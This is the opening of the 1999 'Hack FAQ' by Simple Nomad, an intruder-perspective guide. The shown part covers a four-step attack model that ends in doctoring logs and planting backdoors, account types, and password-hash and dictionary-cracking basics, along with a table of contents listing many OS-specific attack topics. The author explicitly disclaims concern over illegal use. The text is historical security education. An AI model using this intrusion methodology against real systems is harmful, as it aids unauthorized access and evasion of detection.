home *** CD-ROM | disk | FTP | other *** search
/ Hackers Handbook - Millenium Edition / Hackers Handbook.iso / library / hack99 / hackfaq / hackfaq.txt < prev   
Encoding:
Text File  |  1999-04-11  |  278.2 KB  |  6,469 lines

  1.   The Hack FAQ
  2.   Simple Nomad (thegnome@nmrc.org)
  3.   March 21, 1999
  4.  
  5.   This FAQ is intended to show and explain the steps and techniques
  6.   behind hacking. While it serves both admin and hacker alike, the per-
  7.   spective is from the intruder.
  8.   ______________________________________________________________________
  9.  
  10.   Table of Contents
  11.  
  12.  
  13.  
  14.  
  15.  
  16.  
  17.  
  18.  
  19.  
  20.  
  21.  
  22.  
  23.  
  24.  
  25.  
  26.  
  27.  
  28.  
  29.  
  30.  
  31.  
  32.  
  33.  
  34.  
  35.  
  36.  
  37.  
  38.  
  39.  
  40.  
  41.  
  42.  
  43.  
  44.  
  45.  
  46.  
  47.  
  48.  
  49.  
  50.  
  51.  
  52.  
  53.  
  54.  
  55.  
  56.  
  57.  
  58.  
  59.  
  60.  
  61.  
  62.  
  63.  
  64.  
  65.  
  66.  
  67.   1. General FAQ Info
  68.  
  69.      1.1 How do I add to this FAQ?
  70.      1.2 How was this FAQ prepared?
  71.      1.3 Is this FAQ available by anonymous FTP or WWW?
  72.      1.4 What is the mission and goal of the FAQ?
  73.      1.5 Where is the disclaimer?
  74.      1.6 Contributions (and thanks to...)
  75.      1.7 Other credits...
  76.      1.8 Changelog
  77.  
  78.   2. Attack Basics
  79.  
  80.      2.1 What are the four steps to hacking?
  81.  
  82.   3. Account Basics
  83.  
  84.      3.1 What are accounts?
  85.      3.2 What are groups?
  86.  
  87.   4. Password Basics
  88.  
  89.      4.1 What are some password basics?
  90.      4.2 Why protect the hashes?
  91.      4.3 What is a "dictionary" password cracker?
  92.      4.4 What is a "brute force" password cracker?
  93.      4.5 Which method is best for cracking?
  94.      4.6 What is a "salt"?
  95.      4.7 What are the "dangers" of cracking passwords?
  96.  
  97.   5. Denial of Service Basics
  98.  
  99.      5.1 What is "Denial of Service"?
  100.      5.2 What is the Ping of Death?
  101.      5.3 What is a SYN Flood attack?
  102.      5.4 What are other popular Denial of Service attacks?
  103.  
  104.   6. Misc Info
  105.  
  106.      6.1 What is a "backdoor"?
  107.      6.2 Why do I care about auditing, accounting, and logging?
  108.      6.3 What are some different logging techniques used by Admins?
  109.      6.4 Why should I not just delete the log files?
  110.      6.5 What is a buffer overflow?
  111.  
  112.   7. NT Basics
  113.  
  114.      7.1 What are the components of NT security?
  115.      7.2 How does the authentication of a user actually work?
  116.      7.3 What is "standalone" vs. "workgroup" vs. "domain"?
  117.      7.4 What is a Service Pack?
  118.      7.5 What is a Hot Fix?
  119.      7.6 Where are Service Packs and Hot Fixes?
  120.      7.7 What's with "C2 certification"?
  121.      7.8 Are there are interesting default groups to be aware of?
  122.      7.9 What are the default directory permissions?
  123.      7.10 Are there any special restrictions surrounding the Administrative Tools group in Presentation Manager?
  124.      7.11 What is the Registry?
  125.      7.12 What are hives?
  126.      7.13 Why is the Registry like this and why do I care?
  127.  
  128.   8. NT Accounts
  129.  
  130.      8.1 What are common accounts and passwords in NT?
  131.      8.2 What if the Sys Admin has renamed the Administrator account?
  132.      8.3 How can I figure out valid account names for NT?
  133.      8.4 What can null sessions to an NT machine tell me?
  134.  
  135.   9. NT Passwords
  136.  
  137.      9.1 How do I access the password file in NT?
  138.      9.2 What do I do with a copy of SAM?
  139.      9.3 What's the full story with NT passwords?
  140.      9.4 How does brute force password cracking work with NT?
  141.      9.5 How does dictionary password cracking work with NT?
  142.      9.6 I lost the NT Administrator password. What do I do?
  143.      9.7 How does a Sys Admin enforce better passwords?
  144.      9.8 Can an Sys Admin prevent/stop SAM extraction?
  145.      9.9 How is password changing related to "last login time"?
  146.  
  147.   10. NT Console Attacks
  148.  
  149.      10.1 What does direct console access for NT get me?
  150.      10.2 What about NT's file system?
  151.      10.3 What is Netmon and why do I care?
  152.  
  153.   11. NT Client Attacks
  154.  
  155.      11.1 What is GetAdmin.exe and Crash4.exe?
  156.      11.2 Should I even try for local administrator access?
  157.      11.3 I have guest remote access. How can I get administrator access?
  158.      11.4 What about %systemroot%\system32 being writeable?
  159.      11.5 What if the permissions are restricted on the server?
  160.      11.6 What exactly does the NetBios Auditing Tool do?
  161.      11.7 What is the "Red Button" bug?
  162.      11.8 What about forging DNS packets for subversive purposes?
  163.      11.9 What about shares?
  164.      11.10 How do I get around a packet filter-based firewall?
  165.      11.11 I hack from my Linux box. How can I do all that GUI stuff on remote NT servers?
  166.  
  167.   12. NT Denial of Service
  168.  
  169.      12.1 What can telnet give me in the way of denial of service?
  170.      12.2 What can I do with Samba?
  171.      12.3 What's with ROLLBACK.EXE?
  172.      12.4 What is an OOB attack?
  173.      12.5 Are there any other Denial of Service attacks?
  174.  
  175.   13. NT Logging and Backdoors
  176.  
  177.      13.1 Where are the common log files in NT?
  178.      13.2 How do I edit/change NT log files without being detected?
  179.      13.3 So how can I view/clear/edit the Security Log?
  180.      13.4 How can I turn off auditing in NT?
  181.  
  182.   14. NT Misc. Attack Info
  183.  
  184.      14.1 How is file and directory security enforced?
  185.      14.2 What is NTFS?
  186.      14.3 Are there are vulnerabilities to NTFS and access controls?
  187.      14.4 What is Samba and why is it important?
  188.      14.5 How do I bypass the screen saver?
  189.      14.6 How can I detect that a machine is in fact NT on the network?
  190.      14.7 Can I do on-the-fly disk encryption on NT?
  191.      14.8 Does the FTP service allow passive connections?
  192.      14.9 What is this "port scanning" you are talking about?
  193.      14.10 Does NT have bugs like Unix' sendmail?
  194.      14.11 How is password changing related to "last login time"?
  195.      14.12 Can sessions be hijacked?
  196.      14.13 Are "man in the middle" attacks possible?
  197.      14.14 What about TCP Sequence Number Prediction?
  198.      14.15 What's the story with buffer overflows on NT?
  199.   15. Netware Basics
  200.  
  201.      15.1 )HEADING
  202.  
  203.   16. Netware Accounts
  204.  
  205.      16.1 What are common accounts and passwords for Netware?
  206.      16.2 How can I figure out valid account names on Netware?
  207.  
  208.   17. Netware Passwords
  209.  
  210.      17.1 How do I access the password file in Netware?
  211.      17.2 What's the full story with Netware passwords?
  212.      17.3 How does password cracking work with Netware?
  213.      17.4 How does password cracking work with Netware?
  214.      17.5 Can an Sys Admin prevent/stop Netware password hash extraction?
  215.      17.6 Can I reset an NDS password with just limited rights?
  216.      17.7 What is OS2NT.NLM?
  217.      17.8 How does password encryption work?
  218.      17.9 Can I login without a password?
  219.      17.10 What's with Windows 95 and Netware passwords?
  220.  
  221.   18. Netware Console Attacks
  222.  
  223.      18.1 What's the "secret" way to get Supe access Novell once taught CNE's?
  224.      18.2 How do I use SETPWD.NLM?
  225.      18.3 I don't have SETPWD.NLM or a disk editor. How can I get Supe access?
  226.      18.4 What's the "debug" way to disable passwords?
  227.      18.5 How do I defeat console logging?
  228.      18.6 Can I set the RCONSOLE password to work for just Supervisor?
  229.      18.7 How can I get around a locked MONITOR?
  230.      18.8 Where are the Login Scripts stored in Netware 4.x and can I edit them?
  231.      18.9 What if I can't see SYS:_NETWARE?
  232.      18.10 So how do I access SYS:_NETWARE?
  233.      18.11 How can I boot my server without running STARTUP.NCF/AUTOEXEC.NCF?
  234.      18.12 What else can be done with console access?
  235.  
  236.   19. Netware Client Attacks
  237.  
  238.      19.1 What is the cheesy way to get Supervisor access?
  239.      19.2 How can I login without running the System Login Script in Netware 3.x?
  240.      19.3 How can I get IP info from a Netware server remotely?
  241.      19.4 Does 4.x store the LOGIN password to a temporary file?
  242.      19.5 Everyone can make themselves equivalent to anyone including Admin. How?
  243.      19.6 Can Windows 95 bypass NetWare user security?
  244.      19.7 What is Packet Signature and how do I get around it?
  245.  
  246.   20. Netware Denial of Service
  247.  
  248.      20.1 How can I abend a Netware server?
  249.      20.2 Will Windows 95 cause server problems for Netware?
  250.      20.3 Will Windows 95 cause network problems for Netware?
  251.  
  252.   21. Netware Logging and Backdoors
  253.  
  254.      21.1 How do I leave a backdoor for Netware?
  255.      21.2 What is the rumored "backdoor" in NDS?
  256.      21.3 What is the bindery backdoor in Netware 4.x?
  257.      21.4 Where are the common log files in Netware?
  258.      21.5 What is Accounting?
  259.      21.6 How do I defeat Accounting?
  260.      21.7 What is Intruder Detection?
  261.      21.8 How do I check for Intruder Detection?
  262.      21.9 What are station/time restrictions?
  263.      21.10 How can I tell if something is being Audited in Netware 4.x?
  264.      21.11 How can I remove Auditing if I lost the Audit password?
  265.      21.12 What is interesting about Netware 4.x's licensing?
  266.      21.13 What is the Word Perfect 5.1 trick when running Netware 3.x over DOS?
  267.  
  268.   22. Netware Misc. Attack Info
  269.  
  270.      22.1 How do I spoof my node or IP address?
  271.      22.2 How can I see hidden files and directories?
  272.      22.3 How do I defeat the execute-only flag?
  273.      22.4 How can I hide my presence after altering files?
  274.      22.5 What is a Netware-aware trojan?
  275.      22.6 What are Trustee Directory Assignments?
  276.      22.7 Are there any default Trustee Assignments that can be exploited?
  277.      22.8 What are some general ways to exploit Trustee Rights?
  278.      22.9 Can access to .NCF files help me?
  279.      22.10 Can someone think they've logged out and I walk up and take over?
  280.      22.11 What other Novell and third party programs have holes that give "too much access"?
  281.      22.12 How can I get around disk space requirements?
  282.      22.13 How do I remotely reboot a Netware 3.x file server?
  283.      22.14 What is Netware NFS and is it secure?
  284.      22.15 Can sniffing packets help me break into Netware servers?
  285.      22.16 What else can sniffing around Netware get me?
  286.      22.17 Do any Netware utilities have holes like Unix utilities?
  287.      22.18 Where can I get the Netware APIs?
  288.      22.19 Are there alternatives to Netware's APIs?
  289.      22.20 How can I remove NDS?
  290.      22.21 What are security considerations regarding partitions of the tree?
  291.      22.22 Can a department "Supe" become a regular Admin to the entire tree?
  292.      22.23 Are there products to help improve Netware's security?
  293.      22.24 Is Netware's Web server secure?
  294.      22.25 What's the story with Netware's FTP NLM?
  295.      22.26 Can an IntranetWare server be compromised from the Internet?
  296.      22.27 Are there any problems with Novell's Groupwise?
  297.      22.28 Are there any problems with Netware's Macintosh namespace?
  298.      22.29 What's the story with buffer overflows on Netware?
  299.  
  300.   23. Netware Mathematical/Theoretical Info
  301.  
  302.      23.1 How does the whole password/login/encryption thing work?
  303.      23.2 Are "man in the middle" attacks possible?
  304.      23.3 Are Netware-aware viruses possible?
  305.      23.4 Can a trojaned LOGIN.EXE be inserted during the login process?
  306.      23.5 Is anything "vulnerable" during a password change?
  307.      23.6 Is "data diddling" possible?
  308.  
  309.   24. Unix Accounts
  310.  
  311.      24.1 What are common accounts and passwords for Unix?
  312.      24.2 How can I figure out valid account names for Unix?
  313.  
  314.   25. Unix Passwords
  315.  
  316.      25.1 How do I access the password file in Unix?
  317.      25.2 What's the full story with Unix passwords?
  318.      25.3 How does brute force password cracking work with Unix?
  319.      25.4 How does dictionary password cracking work with Unix?
  320.      25.5 How does a Sys Admin enforce better passwords and password management?
  321.      25.6 So what can I learn with a password file from a heavily secured system?
  322.  
  323.   26. Unix Local Attacks
  324.  
  325.      26.1 Why attack locally?
  326.      26.2 How do most exploits work?
  327.      26.3 So how does a buffer overflow work?
  328.  
  329.   27. Unix Remote Attacks
  330.  
  331.      27.1 What are remote hacks?
  332.  
  333.   28. Unix Logging
  334.  
  335.      28.1 Where are the common log files in Unix?
  336.      28.2 How do I edit/change the log files for Unix?
  337.  
  338.   29. Hacker Resources
  339.  
  340.      29.1 What are some security-related WWW locations?
  341.      29.2 What are some security-related USENET groups?
  342.      29.3 What are some security-related mailing lists?
  343.      29.4 What are some other FAQs?
  344.      29.5 Where are all of these files mentioned in the FAQ?
  345.  
  346.  
  347.   ______________________________________________________________________
  348.  
  349.   11..  GGeenneerraall FFAAQQ IInnffoo
  350.  
  351.   The following was originally compiled in June 1998. It answers some
  352.   basic questions about this FAQ and hacking.
  353.  
  354.  
  355.   11..11..  HHooww ddoo II aadddd ttoo tthhiiss FFAAQQ??
  356.  
  357.   Send comments about info in this FAQ to faq@nmrc.org. Simple flames
  358.   about typos, the "that's not right" one liners will be ignored. If you
  359.   wish to contribute corrections please include your research and source
  360.   of facts. Also if you wish to add your information, I will include it
  361.   if I can include your email address, unless I can verify the info
  362.   independently. This way if someone has questions, they can bug you,
  363.   not me.
  364.  
  365.   It is prefered that you include OS flavor and versions, and other
  366.   conditions used in testing. Theoretical discussion is fine, just try
  367.   and back up your findings. Also note that we may often rewrite your
  368.   submissions to match the "elite" nature of our FAQ ;-)
  369.  
  370.   Anonymous submissions are okay. Encrypt them if you like, here's
  371.   Simple Nomad's PGP key (also available from MIT's key server):
  372.  
  373.  
  374.  
  375.   -----BEGIN PGP PUBLIC KEY BLOCK-----
  376.   Version: 2.6.2
  377.  
  378.   mQCNAzEQrjMAAAEEANaIf2AiInhVwmrZEFZ5V2eyZfuJfjoI9unJwRhokwJ4TtVh
  379.   ApEwjXVEbJBCPRKOHzibi5IEF2BirpzzlSy0Aj82yZk/iqYtJO60S0aycSPNPBl5
  380.   BmoLJaUjxakmnMMXOl3qdeWWtScpP7B4QTHyfsHRvQz0HSUPxh6RUqAiTzdxAAUR
  381.   tCRTaW1wbGUgTm9tYWQgPHRoZWdub21lQGZhc3RsYW5lLm5ldD4=
  382.   =v0Xj
  383.   -----END PGP PUBLIC KEY BLOCK-----
  384.  
  385.  
  386.  
  387.   And the PGP 5 key...
  388.  
  389.  
  390.  
  391.  
  392.  
  393.  
  394.  
  395.  
  396.  
  397.   -----BEGIN PGP PUBLIC KEY BLOCK-----
  398.   Version: PGP for Personal Privacy 5.0
  399.  
  400.   mQGiBDSfNs4RBADW7TK+WK6lta5deV0Pin2KInmwtG9+yB8lBr3yJHh+MPPfG6NU
  401.   vmqoJh1STmaGG8tJ+P4p+vl7PZXflmEneuTwD7ItgtwQWTtUqYkIEKESUumW1Xaq
  402.   44aBAK9Fi7r3P+zT31vJFJmnRNRhE7tWgwk+YmIODpuUukd2uTWwOVXJrQCg/6Z2
  403.   DncKMjg2fQf8mVpk08pe2uEEAKSmSVASHJB4LHXwO8nEGmQYd/ahIIWo2kI288hM
  404.   NH87xkOdileWmEVHVG3+sHreX1EMKAgPWjuYpG3Jo0hUYothpN3mOrT2nfmZp3OI
  405.   I23A4LSc8mT1dnDIKwrjJgEVK5IyEVfSMD27fXFJm4nvC3HYMuLv35JYzQ2T2fSJ
  406.   552wA/9UhLe72U0NpOScnfHdHfMpBifL2MPM+UVGs0co99d2caBMRMtqGiB3tR2o
  407.   041EGr80gfBG6FBohZNyCzXE4J7y2CtfxYeNZ4YwB92xKNoZvjerB1Z3WEnIBm57
  408.   sRd4cAMyXomWdYgO1Wwb48bIJxFtGVEjXXjiIdOJKOk3gyEv37QgU2ltcGxlIE5v
  409.   bWFkIDx0aGVnbm9tZUBubXJjLm9yZz6JAEsEEBECAAsFAjSfNs4ECwMBAgAKCRAk
  410.   eqS9aDjxHRUoAJ4hnn4bIRbO70DfT61RPv3kSiPfbACbBC3L7R/FpiJvV7y+4RpC
  411.   idBfHNq5BA0ENJ83ExAQAPkYoH5aBmF6Q5CV3AVsh4bsYezNRR8O2OCjecbJ3HoL
  412.   rOQ/40aUtjBKU9d8AhZIgLUV5SmZqZ8HdNP/46HFliBOmGW42A3uEF2rthccUdhQ
  413.   yiJXQym+lehWKzh4XAvb+ExN1eOqRsz7zhfoKp0UYeOEqU/Rg4Soebbvj6dDRgjG
  414.   zB13VyQ4SuLE8OiOE2eXTpITYfbb6yUOF/32mPfIfHmwch04dfv2wXPEgxEmK0Ng
  415.   w+Po1gr9oSgmC66prrNlD6IAUwGgfNaroxIe+g8qzh90hE/K8xfzpEDp19J3tkIt
  416.   AjbBJstoXp18mAkKjX4t7eRdefXUkk+bGI78KqdLfDL2Qle3CH8IF3KiutapQvMF
  417.   6PlTETlPtvFuuUs4INoBp1ajFOmPQFXz0AfGy0OplK33TGSGSfgMg71l6RfUodNQ
  418.   +PVZX9x2Uk89PY3bzpnhV5JZzf24rnRPxfx2vIPFRzBhznzJZv8V+bv9kV7HAarT
  419.   W56NoKVyOtQa8L9GAFgr5fSI/VhOSdvNILSd5JEHNmszbDgNRR0PfIizHHxbLY72
  420.   88kjwEPwpVsYjY67VYy4XTjTNP18F1dDox0YbN4zISy1Kv884bEpQBgRjXyEpwpy
  421.   1obEAxnIByl6ypUM2Zafq9AKUJsCRtMIPWakXUGfnHy9iUsiGSa6q6Jew1XrPdYX
  422.   AAICEACOO5eqfVXbBp2hoUaikkiOHQ5BO1rWHJr8WdNgpwxghm8L8LmaM8td6TaW
  423.   lFJtG5OlpHDOoLFHTHh1FJFzi+YpiWvmfkj18pjCiFCGZ04kHfVJ/YGngWCzlYnu
  424.   nT1bO7E9JPb6lBDE1QWgvGBykiTXVUyij7Ih0w0XSQimBNLIG+9OWRxdTbTL8BBH
  425.   4NrVc6pj6ofvD6fcpgQ1QYVvWC28h5MT4vIJE1EySrFs7nTdZvcAB9VOLNVJequ4
  426.   HjU5FP9uFxWxYPdJ5GS+EqwpMOcaFzXZEmNTrSfml8RgE+lQPYKGrgvO9qMFA/rH
  427.   +wgXbRMGLYMtmi7J6vScKhtgdH8N8WI8+M675oTPR1zCexOaWNpcvnC8wHLKiRCJ
  428.   oRklXFaFkPzT7jDEChSibYeTOJ19js+clx4ZTlTHeuzsmzJbjCXkqSkA8v6xnn8e
  429.   RltFPBQviG2SF19eODdJ2DEzXxqSFTJmqd/bVWRI006Vtg7KP+45bVfNOpW654Zb
  430.   urjmJHm0SiykBINTro6mk67eSlXR/OwcowTFecqOm+IrtNLkV2zbDTRLWO7NIvy/
  431.   yat6gn5WcSLQFifaCekngPdyPf9dD3JvXPMhfvC8eZHgHtzbHm62PsVP6pI345Sv
  432.   2pVD/LwFNJvQejs0VzeW1vQDyTvuZsLu2CoRQlUNltvnCAS/7okAPwMFGDSfNxMk
  433.   eqS9aDjxHRECbR0AoMCWRgpax3dcWcso23jEYb1A4N/8AKDSVipa2SJk3yUtI7qW
  434.   pRIi/CztAg==
  435.   =c+/T
  436.   -----END PGP PUBLIC KEY BLOCK-----
  437.  
  438.  
  439.  
  440.  
  441.   11..22..  HHooww wwaass tthhiiss FFAAQQ pprreeppaarreedd??
  442.  
  443.   Testing for a large part of the material was completed in the NMRC lab
  444.   and at various field locations. Most of the tools used during testing
  445.   are available from the NMRC web site in the files section (alternate
  446.   locations are listed in the resources section for these tools).
  447.  
  448.   Specific testing for Netware was done in the lab and at field
  449.   locations. For NT the lab was used, but due to a recent "moment of
  450.   clarity" NT is no longer operational in the labs. Field locations will
  451.   be used from now on. Web related hacking information has been done in
  452.   the field but due to a couple of odd related projects we currently
  453.   have resources for this type of testing in the lab. Unix testing is
  454.   also done in the lab, but primarily limited to Linux, OpenBSD,
  455.   FreeBSD, and AIX.
  456.  
  457.   Technical info has been discovered (read "quoted without permission
  458.   because it was out in a public forum so I leeched it") and collected,
  459.   often the technical detail is complete and self-explanatory in its
  460.   original source, so I feel no reason to "test" it in a lab
  461.   environment. I try and quote original material when I can, if I have
  462.   left you out, let me know.
  463.   The actual FAQ was assembled from the various text files and turned
  464.   into SGML source. The SGML-Tools package was used and only slightly
  465.   altered to create these web pages. This gives us a single starting
  466.   place during revisions and the opportunity for a multitude of output
  467.   formats.
  468.  
  469.  
  470.   11..33..  IIss tthhiiss FFAAQQ aavvaaiillaabbllee bbyy aannoonnyymmoouuss FFTTPP oorr WWWWWW??
  471.  
  472.   This FAQ is available online from the following locations:
  473.  
  474.   www.nmrc.org/faqs/hackfaq/index.html
  475.   <http://www.nmrc.org/faqs/hackfaq/index.html>.
  476.  
  477.   This FAQ is available in other formats, including its raw SGML. See
  478.   the www.nmrc.org/faqs/index.html <http://www.nmrc.org/faqs/index.html>
  479.   page for details.
  480.  
  481.   Currently due to the new processing of the information manual mirrors
  482.   will not be supported. Once we've implemented the processes, we will
  483.   more than likely be providing updates to this FAQ once a month.
  484.  
  485.  
  486.   11..44..  WWhhaatt iiss tthhee mmiissssiioonn aanndd ggooaall ooff tthhee FFAAQQ??
  487.  
  488.   If I said "to teach hacking" I would be lying. First off, no
  489.   documentation will teach you how to hack. This FAQ answers common
  490.   questions regarding some of the underlying mechanics from a hacker
  491.   perspective. Second, I will not be drawn into a debate regarding usage
  492.   of the term hacker, cracker, phreaker, hacking, cracking, and will
  493.   certainly not be drawn into a discussion on the moral and legal issues
  494.   involved. The material is what it is -- no more, no less, and I use
  495.   terms the way I see fit to answer a question from the intruder
  496.   perspective.
  497.  
  498.   So the goal here is simply information disemination.
  499.  
  500.  
  501.   11..55..  WWhheerree iiss tthhee ddiissccllaaiimmeerr??
  502.  
  503.   There is no disclaimer. Disclaimers are lame and idiotic LawyerSpeak.
  504.   I don't care how you use this information. If you use it to break the
  505.   law, fine. If you get caught, fine. If you use it to secure a system,
  506.   fine. I am responsible for myself, therefore I need no "disclaimer".
  507.   Instead, here is my EXclaimer -- PISS OFF.
  508.  
  509.   The only thing more lame than a disclaimer on a web page is a
  510.   disclaimer in a sig file (we all know how millions of dollars in
  511.   attorney's fees are saved by sig files every year).
  512.  
  513.  
  514.   11..66..  CCoonnttrriibbuuttiioonnss ((aanndd tthhaannkkss ttoo......))
  515.  
  516.   Here are a few of our many contributors of info:
  517.  
  518.  
  519.   +o  The LAN God
  520.  
  521.   +o  Teiwaz teiwaz@wolfe.net
  522.  
  523.   +o  Fauzan Mirza fauzan@dcs.rhbnc.ac.uk
  524.  
  525.   +o  David A Wagner daw@lagos.CS.Berkeley.EDU
  526.  
  527.   +o  Diceman mailto:diceman@fl.net.au
  528.  
  529.   +o  PEME_Inc
  530.  
  531.   +o  Craig craigt@online1.magnus1.com
  532.  
  533.   +o  Einar Blaberg einarb@hem.passagen.se
  534.  
  535.   +o  SIC -- Hardware, Cyberius, and Jungman
  536.  
  537.   +o  Michael Edwards m2mike@yahoo.com
  538.  
  539.   +o  Jacob Ayres jayres@wcrtc.net
  540.  
  541.   ...and various sources who wish to remain anonymous...
  542.  
  543.  
  544.   11..77..  OOtthheerr ccrreeddiittss......
  545.  
  546.   Tech Support (and special thanks to):
  547.  
  548.  
  549.   +o  itsme - infamous Netware Netherlands hack fame
  550.  
  551.   +o  Greg Miller - Programmer/Analyst (home page in the Resources
  552.      section)
  553.  
  554.   Lab Support:
  555.  
  556.   Ace, Mike, Knobster, Up-uat, Fourth Stooge, B.C.
  557.  
  558.   Documentation and Compilation:
  559.  
  560.  
  561.   +o  imnsho@nmrc.org (Hole)
  562.  
  563.   Music Heard During Revising/Editing/Testing:
  564.  
  565.  
  566.   +o  Nine Inch Nails <http://www.nin.net/>
  567.  
  568.   +o  Live
  569.  
  570.   +o  "Lost Highway" Soundtrack
  571.  
  572.   +o  "Spawn" Soundtrack
  573.  
  574.   +o  Rammstein <http://www.rammstein.com/>
  575.  
  576.   +o  Metallica <http://www.metclub.com/main.html>
  577.  
  578.   +o  Marilyn Manson
  579.  
  580.   +o  Filter
  581.  
  582.  
  583.   11..88..  CChhaannggeelloogg
  584.  
  585.   Here are the changes that have been made to this FAQ:
  586.  
  587.   March 21, 1999
  588.  
  589.   +o  Updated information in 11.11
  590.  
  591.   +o  Added 13.3, 13.4
  592.  
  593.  
  594.  
  595.   22..  AAttttaacckk BBaassiiccss
  596.  
  597.   22..11..  WWhhaatt aarree tthhee ffoouurr sstteeppss ttoo hhaacckkiinngg??
  598.  
  599.   While there is no hard and fast rule to hacking, most system
  600.   intrusions can be divided into four steps. Depending on techniques
  601.   involved, there could be less or more, but you should get the basic
  602.   idea.
  603.  
  604.  
  605.   1. Learn as much as possible about your target before the attack. The
  606.      techniques involved can be passive to bordering on mini-attacks
  607.      themselves.  And plan out your goals. Using your knowledge gained
  608.      develop a plan, no matter how small or quick the hack is.
  609.  
  610.   2. Initial access to the system. No doubt about it, this is the real
  611.      attack part. This could be anything from ftp access to a sendmail
  612.      bug to logging in as a "regular" user. It should either create an
  613.      opportunity for indirect or direct access.
  614.  
  615.   3. Full system access. At this level most goals developed can be
  616.      carried out -- password file retrieved for cracking, trojan
  617.      installed, secret file copied, etc. So this stage usually involves
  618.      either taking advantage of a bug that allows higher priviledges to
  619.      be obtained, taking advantages of misconfigured system parameters,
  620.      or a combination of both.
  621.  
  622.   4. Tracks are covered and backdoors installed. System logging is
  623.      doctored to remove traces of the attack and what was done during
  624.      the attack, and either defenses are lowered or files are tampered
  625.      with to allow quicker and easier access. Some experienced hackers
  626.      even patch the system to keep less experienced hackers out of the
  627.      system (who might possibly tip off a Sys Admin through clumsiness).
  628.      Once step four is complete, hackers will refer to this system being
  629.      owned.
  630.  
  631.   Of course some steps might be repeated, especially step two. Or maybe
  632.   an entire series of mini "1 2 3 4" "1 2 3 4" attacks are used in
  633.   concert to obtain access to a system or achieve a goal.
  634.  
  635.  
  636.  
  637.   33..  AAccccoouunntt BBaassiiccss
  638.  
  639.   This section deals with the basics regarding computer accounts.
  640.  
  641.  
  642.   33..11..  WWhhaatt aarree aaccccoouunnttss??
  643.  
  644.   Accounts are a way of identifying users to a computer system. Other
  645.   terms you may see or here are user IDs, IDs, logins, or some other
  646.   variant. Most systems when initially accessed will require you to
  647.   provide an account name, and will usually require you follow up with a
  648.   password. Not knowing a password sucks, but not knowing a valid
  649.   account name sucks more.
  650.  
  651.   Account names are usually something either very common, such as a part
  652.   of the user's name (like tshimomura or kmitnick), part of a user's
  653.   function (like dbadmin or webmaster), or sometimes kind of goofy, like
  654.   employee numbers (like u121), or something made up (like up-uat or
  655.   imnsho).  Usually if you can find out one or two regular user account
  656.   names, it might be possible to guess additional names -- particularly
  657.   if employee numbers or account numbers are used.
  658.  
  659.   Accounts can usually be divided up into four categories -- god,
  660.   special, regular, and guest. A god account can usually do anything
  661.   system-wise, from adding more users to changing anybody's password to
  662.   complete system reconfiguration.  As a hacker, this is typically your
  663.   objective. Special accounts are usually either accounts used by the
  664.   system itself or accounts that fulfill some type of administrative
  665.   roll without full god access. Regular accounts are simply that -- the
  666.   accounts used by regular users for their normal tasks. And guest
  667.   accounts are accounts designed for anyone to use -- these are usually
  668.   there as a convenience for those who do not have a regular account on
  669.   the system. A good example of this is anonymous ftp. Typically guest
  670.   accounts have fairly restrictive access to the system, especially on
  671.   publicly accessible systems.
  672.  
  673.  
  674.   33..22..  WWhhaatt aarree ggrroouuppss??
  675.  
  676.   Groups are simply groupings of users. They are primarily used to ease
  677.   system administration. For example, instead of having to assign access
  678.   to a new hard drive to the forty accounting users, an admin just has
  679.   to assign the accounting group the access. Even special privileges can
  680.   often be assigned by group, such as the ability to manage a set of
  681.   programs or system functions like printing.
  682.  
  683.   Most modern systems allow accounts to belong to more than one group.
  684.  
  685.  
  686.  
  687.   44..  PPaasssswwoorrdd BBaassiiccss
  688.  
  689.   This section deals with the basics regarding passwords.
  690.  
  691.  
  692.   44..11..  WWhhaatt aarree ssoommee ppaasssswwoorrdd bbaassiiccss??
  693.  
  694.   Most accounts on a computer system usually have some method of
  695.   restricting access to that account, usually in the form of a password.
  696.   When accessing the system, the user has to present a valid ID to use
  697.   the system, followed by a password to use the account. Most systems
  698.   either do not echo the password back on the screen as it is typed, or
  699.   they print an asterisk in place of the real character.
  700.  
  701.   On most systems the password is typically ran through some type of
  702.   algorithm to generate a hash. The hash is usually more than just a
  703.   scrambled version of the original text that made up the password, it
  704.   is usually a one-way hash. The one-way hash is a string of characters
  705.   that cannot be reversed into its original text.  You see, most systems
  706.   do not "decrypt" the stored password during authentication, they store
  707.   the one-way hash.  During the login process, you supply an account and
  708.   password. The password is ran through an algorithm that generates a
  709.   one-way hash. This hash is compared to the hash stored on the system.
  710.   If they are the same, it is assumed the proper password was supplied.
  711.  
  712.   Cryptographically speaking, some algorithms are better than others at
  713.   generating a one-way hash. The main operating systems we are covering
  714.   here -- NT, Netware, and Unix -- all use an algorithm that has been
  715.   made publically available and has been scrutinized to some degree.
  716.  
  717.   To "crack" a password requires getting a copy of the one-way hash
  718.   stored on the server, and then using the algorithm generate your own
  719.   hash until you get a match. When you get a match, whatever word you
  720.   used to generate your hash will allow you to log into that system.
  721.   Since this can be rather time-consuming, automation is typically used.
  722.   There are freeware password crackers available on the Internet for NT,
  723.   Netware, and Unix.
  724.  
  725.  
  726.  
  727.   44..22..  WWhhyy pprrootteecctt tthhee hhaasshheess??
  728.  
  729.   If the one-way hashes are not the password itself but a mathematical
  730.   derivative, why should they be protected? Well, since the algorithm is
  731.   already known, a password cracker could be used to simply encrypt the
  732.   possible passwords and compare the one-way hashes until you get a
  733.   match. There are two types of approaches to this -- dictionary and
  734.   brute force.
  735.  
  736.   Usually the hashes are stored in a part of the system that has extra
  737.   security to limit access from potential crackers.
  738.  
  739.  
  740.   44..33..  WWhhaatt iiss aa ""ddiiccttiioonnaarryy"" ppaasssswwoorrdd ccrraacckkeerr??
  741.  
  742.   A dictionary password cracker simply takes a list of dictionary words,
  743.   and one at a time encrypts them to see if they encrypt to the one way
  744.   hash from the system. If the hashes are equal, the password is
  745.   considered cracked, and the word tried from the dictionary list is the
  746.   password.
  747.  
  748.   Some of these dictionary crackers can "manipulate" each word in the
  749.   wordlist by using filters. These rules/filters allow you to change
  750.   "idiot" to "1d10t" and other advanced variations to get the most from
  751.   a word list. The best known of these mutation filters are the rules
  752.   that come with Crack (for Unix). These filtering rules are so popular
  753.   they have been ported over to cracking software for NT.
  754.  
  755.   If your dictionary cracker does not have manipulation rules, you can
  756.   "pre-treat" the wordlist. Therion's Password Utility for DOS is a good
  757.   example of a wordlist manipulation tool that allows all kinds of ways
  758.   to filter, expand, and alter wordlists. With a little careful
  759.   planning, you can turn a small collection of wordlists into a very
  760.   large and thorough list for dictionary crackers without those fancy
  761.   word manipulations built in.
  762.  
  763.  
  764.   44..44..  WWhhaatt iiss aa ""bbrruuttee ffoorrccee"" ppaasssswwoorrdd ccrraacckkeerr??
